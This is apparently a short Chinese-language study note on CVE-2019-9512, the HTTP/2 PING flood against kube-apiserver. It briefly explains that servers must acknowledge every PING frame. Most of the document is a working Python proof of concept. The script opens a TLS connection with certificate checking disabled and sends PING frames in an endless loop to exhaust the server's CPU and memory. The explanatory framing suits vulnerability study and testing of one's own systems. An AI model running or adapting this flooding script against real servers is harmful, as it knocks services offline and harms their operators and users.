CVE-2019-9512 :Ping Flood
前置知识
HTTP/2 里有一种 PING 帧,用于探活。协议规定:收到 PING 的一方必须回一个 PING ACK,每条都要回,没有配额限制
漏洞原理
攻击者建立 HTTP/2 连接后,以极高频度持续发送 PING 帧。服务器为了回 ACK,需要持续分配 CPU/内存资源去处理、构造、发送响应——一条连接就能持续消耗 CPU;多连接并发就是资源耗尽,最终把 kube-apiserver 打成拒绝服务。它不依赖任何业务漏洞,纯粹是"协议要求你回,你就得回"的机制被滥用
POC
# pip install h2
import socket, ssl
import h2.connection, h2.config
HOST = "127.0.0.1" # 目标 kube-apiserver
PORT = 6443
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
tls = ctx.wrap_socket(socket.create_connection((HOST, PORT), timeout=5),
server_hostname=HOST)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
tls.sendall(conn.data_to_send())
# 开一条流让连接进入正常状态
conn.send_headers(1, [(':method', 'GET'), (':path', '/api'),
(':scheme', 'https'), (':authority', HOST)])
tls.sendall(conn.data_to_send())
# PING 洪泛:持续发送,服务器必须逐条回 ACK
count = 0
try:
while True:
conn.ping(b'\x00' * 8) # 发 PING 帧
tls.sendall(conn.data_to_send())
count += 1
data = tls.recv(65535) # 读回 PING ACK
if data:
for _ in conn.receive_data(data):
pass
except KeyboardInterrupt:
pass
print("sent pings:", count)